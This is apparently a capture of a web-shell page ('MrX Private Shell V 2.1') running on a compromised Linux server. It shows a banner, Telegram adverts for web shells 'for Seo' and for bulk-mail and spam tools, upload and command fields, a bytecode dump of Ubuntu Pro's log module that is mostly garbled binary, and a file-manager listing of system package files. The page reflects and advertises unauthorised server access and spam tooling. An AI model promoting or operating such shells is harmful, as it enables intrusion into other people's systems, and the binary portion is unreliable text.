__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g���B�SSKrSSKrSSKrSSKrSSKJr SSKJrJrJ	r	J
r
 SSKJrJ
r
JrJr SSKJr "SS\R$5r"SS	\R$5r"S
S\R*5rS\4S
jrS\4SjrS\	\4SjrSrS\
\\4S\4SjrSrg)�N)�OrderedDict)�Any�Dict�List�Union)�defaults�secret_manager�system�util)�UAConfigc�:�\rSrSrSrS\R4SjrSrg)�RegexRedactionFilter��,A logging filter to redact confidential info�recordc�`�[R"[UR55Ulg�NT)r�redact_sensitive_logs�str�msg��selfrs  �./usr/lib/python3/dist-packages/uaclient/log.py�filter�RegexRedactionFilter.filters���/�/��F�J�J��@��
���N�	�__name__�
__module__�__qualname__�__firstlineno__�__doc__�logging�	LogRecordr�__static_attributes__rrrrr���6��W�.�.�rrc�:�\rSrSrSrS\R4SjrSrg)�KnownSecretRedactionFilter�rrc�r�[RR[UR55Ulgr)r	�secrets�redact_secretsrrrs  rr�!KnownSecretRedactionFilter.filters%��#�+�+�:�:�3�v�z�z�?�K��
�rrNrrrrr)r)r'rr)c�J�\rSrSrSrSrSrSrS\RS\
4SjrS	rg
)�JsonArrayFormatter�zQJson Array Formatter for our logging mechanism
Custom made for Pro logging needs
z%Y-%m-%dT%H:%M:%Sz%s.%03d)�asctime�	levelname�name�funcName�lineno�messager�returnc���UR5UlURU5Ul0nUR(aURUR5US'UR
S5(d UR(aURUS'UR(aURUR5US'URR
S5nU(a&[U[5(aURU5 [5nURH"nURR
U5nXdU'M$ X$S'[ R""[%UR'555$)N�exc_info�
stack_info�extra)�
getMessager7�
formatTimer2r:�formatException�get�exc_textr;�formatStack�__dict__�
isinstance�dict�updater�required_fields�json�dumps�list�values)rr�extra_message_dictr<�local_log_record�field�values       r�format�JsonArrayFormatter.format,s-���*�*�,�������0������?�?�-1�-A�-A����.��z�*�"�%�%�j�1�1�f�o�o�-3�_�_��z�*����/3�/?�/?��!�!�0��|�,����#�#�G�,���Z��t�,�,��%�%�e�,�'�=���)�)�E��O�O�'�'��.�E�&+�U�#�*�%7��!��z�z�$�/�6�6�8�9�:�:rrN)
rr r!r"r#�default_time_format�default_msec_formatrGr$r%rrPr&rrrr0r0s5���.��#���O�;�W�.�.�;�3�;rr0r8c�r�[R"5(a[5R$[	5$)zP
Gets the correct log_file path,
adjusting for whether the user is root or not.
)r�we_are_currently_rootr�log_file�get_user_log_filerrr�get_user_or_root_log_file_pathrXJs*��
�!�!�#�#��z�"�"�"� �"�"rc�h�[RR[R"5S5$)z/Gets the correct user log_file storage location�ubuntu-pro.log)�os�path�joinr
�get_user_cache_dirrrrrWrWUs!��
�7�7�<�<��1�1�3�5E�F�Frc��[R"S5n/nUHkn[RRSUS[R
S5n[RR
U5(dMZURU5 Mm U$)ztGets all the log files for the users in the system

Returns a list of all user log files in their home directories.
z/homez.cacherZ)r[�listdirr\r]r�USER_CACHE_SUBDIR�isfile�append)�user_directories�	log_files�user_directory�	user_paths    r�get_all_user_log_filesrhZst��
�z�z�'�*���I�*���G�G�L�L�����&�&��
�	��7�7�>�>�)�$�$����Y�'�+��rc��[R"S5nUR[R5 [R"5nUR[
55 UR[R5 UR[55 UR[55 URU5 g)N�	ubuntupro)r$�	getLogger�setLevel�INFO�
StreamHandler�setFormatterr0�	addFilterrr)�
addHandler)�logger�console_handlers  r�setup_journald_loggingrtns���
�
�
�{�
+�F�
�O�O�G�L�L�!��+�+�-�O�� � �!3�!5�6����W�\�\�*����2�4�5����8�:�;�
���o�&r�	log_levelrVc��[U[5(aUR5n[R"5(d
[5n[R"S5nURU5 /Ul	[R"U5nUR5(d)URRSSS9 URSS9 [R "U5nUR#[%55 URU5 UR'[)55 UR'[+55 UR-U5 g)zgSetup logging to log_file

If run as non-root then log_file is replaced with a user-specific log file.
rjT)�parents�exist_oki�)�modeN)rDr�upperrrUrWr$rkrl�handlers�pathlib�Path�exists�parent�mkdir�touch�FileHandlerror0rprr)rq)rurVrr�
log_file_path�file_handlers     r�setup_cli_loggingr�ys���)�S�!�!��O�O�%�	��%�%�'�'�$�&��
�
�
�{�
+�F�
�O�O�I���F�O��L�L��*�M����!�!����"�"�4�$�"�?������'��&�&�x�0�L����0�2�3����)�$����/�1�2����5�7�8�
���l�#rc�
�SU0$)z�
A helper for passing extra fields to log statements.
Usage:
LOG.info("message string", extra=log.extra(field=something_relevant))
r<r)�kwargss rr<r<�s��
�V��r)rHr$r[r|�collectionsr�typingrrrr�uaclientrr	r
r�uaclient.configr�Filterrr)�	Formatterr0rrXrWrhrt�intr�r<rrr�<module>r�s�����	��#�)�)�;�;�$��7�>�>�������+;��*�*�+;�\#��#�G�3�G�
��S�	��('�$��s�C�x��$�C�$�Br

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 148 B 0644
actions.cpython-313.pyc File 18.6 KB 0644
apt.cpython-313.pyc File 43.75 KB 0644
apt_news.cpython-313.pyc File 11.98 KB 0644
config.cpython-313.pyc File 25.18 KB 0644
contract.cpython-313.pyc File 38.45 KB 0644
contract_data_types.cpython-313.pyc File 11.96 KB 0644
data_types.cpython-313.pyc File 20.03 KB 0644
defaults.cpython-313.pyc File 3.9 KB 0644
event_logger.cpython-313.pyc File 10.3 KB 0644
exceptions.cpython-313.pyc File 35.47 KB 0644
gpg.cpython-313.pyc File 1.34 KB 0644
livepatch.cpython-313.pyc File 16.32 KB 0644
lock.cpython-313.pyc File 6.38 KB 0644
log.cpython-313.pyc File 7.58 KB 0644
secret_manager.cpython-313.pyc File 1.64 KB 0644
security_status.cpython-313.pyc File 28.89 KB 0644
snap.cpython-313.pyc File 9.61 KB 0644
status.cpython-313.pyc File 33.61 KB 0644
system.cpython-313.pyc File 35.37 KB 0644
types.cpython-313.pyc File 573 B 0644
update_contract_info.cpython-313.pyc File 1.77 KB 0644
upgrade_lts_contract.cpython-313.pyc File 4.38 KB 0644
util.cpython-313.pyc File 17.73 KB 0644
version.cpython-313.pyc File 3.7 KB 0644
yaml.cpython-313.pyc File 1.97 KB 0644
Filemanager